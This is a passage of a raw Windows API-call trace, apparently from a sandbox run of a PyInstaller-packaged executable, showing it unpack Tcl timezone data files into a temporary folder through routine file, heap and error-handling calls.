lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.964] htonl (hostlong=0x21c0000) returned 0x1c02 [0038.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c02) returned 0x561090 [0038.964] htonl (hostlong=0xbc050000) returned 0x5bc [0038.964] htonl (hostlong=0x21c0000) returned 0x1c02 [0038.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ca0 [0038.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ca0 | out: hHeap=0x530000) returned 1 [0038.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.964] CloseHandle (hObject=0x10c) returned 1 [0038.964] GetLastError () returned 0x0 [0038.964] SetLastError (dwErrCode=0x0) [0038.964] GetLastError () returned 0x0 [0038.964] SetLastError (dwErrCode=0x0) [0038.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.965] GetFileType (hFile=0x10c) returned 0x1 [0038.965] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.965] CloseHandle (hObject=0x10c) returned 1 [0038.965] GetLastError () returned 0x0 [0038.965] SetLastError (dwErrCode=0x0) [0038.965] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.965] GetFileType (hFile=0x10c) returned 0x1 [0038.965] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.966] CloseHandle (hObject=0x10c) returned 1 [0038.966] GetLastError () returned 0x0 [0038.966] SetLastError (dwErrCode=0x0) [0038.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.966] GetFileType (hFile=0x10c) returned 0x1 [0038.966] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.966] CloseHandle (hObject=0x10c) returned 1 [0038.966] GetLastError () returned 0x0 [0038.966] SetLastError (dwErrCode=0x0) [0038.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.966] GetFileType (hFile=0x10c) returned 0x1 [0038.967] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.967] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.967] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.967] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.967] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.967] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.967] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.967] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.967] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.967] CloseHandle (hObject=0x10c) returned 1 [0038.967] GetLastError () returned 0x0 [0038.967] SetLastError (dwErrCode=0x0) [0038.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac") returned 80 [0038.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\winamac"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.967] GetLastError () returned 0x2 [0038.967] SetLastError (dwErrCode=0x2) [0038.967] GetLastError () returned 0x2 [0038.967] SetLastError (dwErrCode=0x2) [0038.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac", lpFilePart=0x0) returned 0x4f [0038.967] GetLastError () returned 0x2 [0038.967] SetLastError (dwErrCode=0x2) [0038.967] GetLastError () returned 0x2 [0038.967] SetLastError (dwErrCode=0x2) [0038.967] GetLastError () returned 0x2 [0038.967] SetLastError (dwErrCode=0x2) [0038.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac") returned 80 [0038.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Winamac" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\winamac"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.968] GetFileType (hFile=0x10c) returned 0x1 [0038.968] htonl (hostlong=0x21c0000) returned 0x1c02 [0038.968] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.969] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.969] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc02, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc02, lpOverlapped=0x0) returned 1 [0038.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.970] CloseHandle (hObject=0x10c) returned 1 [0038.970] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.970] htonl (hostlong=0x40000000) returned 0x40 [0038.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.971] GetFileType (hFile=0x10c) returned 0x1 [0038.971] htonl (hostlong=0x485a5900) returned 0x595a48 [0038.971] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e0a48, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.971] htonl (hostlong=0x8c000000) returned 0x8c [0038.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0038.971] htonl (hostlong=0x8c000000) returned 0x8c [0038.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.971] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.971] htonl (hostlong=0xe4000000) returned 0xe4 [0038.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe4) returned 0x550600 [0038.971] htonl (hostlong=0x8c000000) returned 0x8c [0038.971] htonl (hostlong=0xe4000000) returned 0xe4 [0038.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.971] CloseHandle (hObject=0x10c) returned 1 [0038.971] GetLastError () returned 0x0 [0038.971] SetLastError (dwErrCode=0x0) [0038.971] GetLastError () returned 0x0 [0038.971] SetLastError (dwErrCode=0x0) [0038.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.971] GetFileType (hFile=0x10c) returned 0x1 [0038.971] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.971] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.972] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.972] CloseHandle (hObject=0x10c) returned 1 [0038.972] GetLastError () returned 0x0 [0038.972] SetLastError (dwErrCode=0x0) [0038.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.972] GetFileType (hFile=0x10c) returned 0x1 [0038.972] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.972] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.972] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.972] CloseHandle (hObject=0x10c) returned 1 [0038.973] GetLastError () returned 0x0 [0038.973] SetLastError (dwErrCode=0x0) [0038.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.973] GetFileType (hFile=0x10c) returned 0x1 [0038.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.973] CloseHandle (hObject=0x10c) returned 1 [0038.973] GetLastError () returned 0x0 [0038.973] SetLastError (dwErrCode=0x0) [0038.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis") returned 77 [0038.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indianapolis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.973] GetLastError () returned 0x2 [0038.973] SetLastError (dwErrCode=0x2) [0038.973] GetLastError () returned 0x2 [0038.973] SetLastError (dwErrCode=0x2) [0038.973] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis", lpFilePart=0x0) returned 0x4c [0038.973] GetLastError () returned 0x2 [0038.974] SetLastError (dwErrCode=0x2) [0038.974] GetLastError () returned 0x2 [0038.974] SetLastError (dwErrCode=0x2) [0038.974] GetLastError () returned 0x2 [0038.974] SetLastError (dwErrCode=0x2) [0038.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis") returned 77 [0038.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indianapolis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indianapolis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.974] GetFileType (hFile=0x10c) returned 0x1 [0038.974] htonl (hostlong=0xe4000000) returned 0xe4 [0038.974] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.974] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe4, lpOverlapped=0x0) returned 1 [0038.975] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.975] CloseHandle (hObject=0x10c) returned 1 [0038.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.976] htonl (hostlong=0x40000000) returned 0x40 [0038.976] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.976] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, 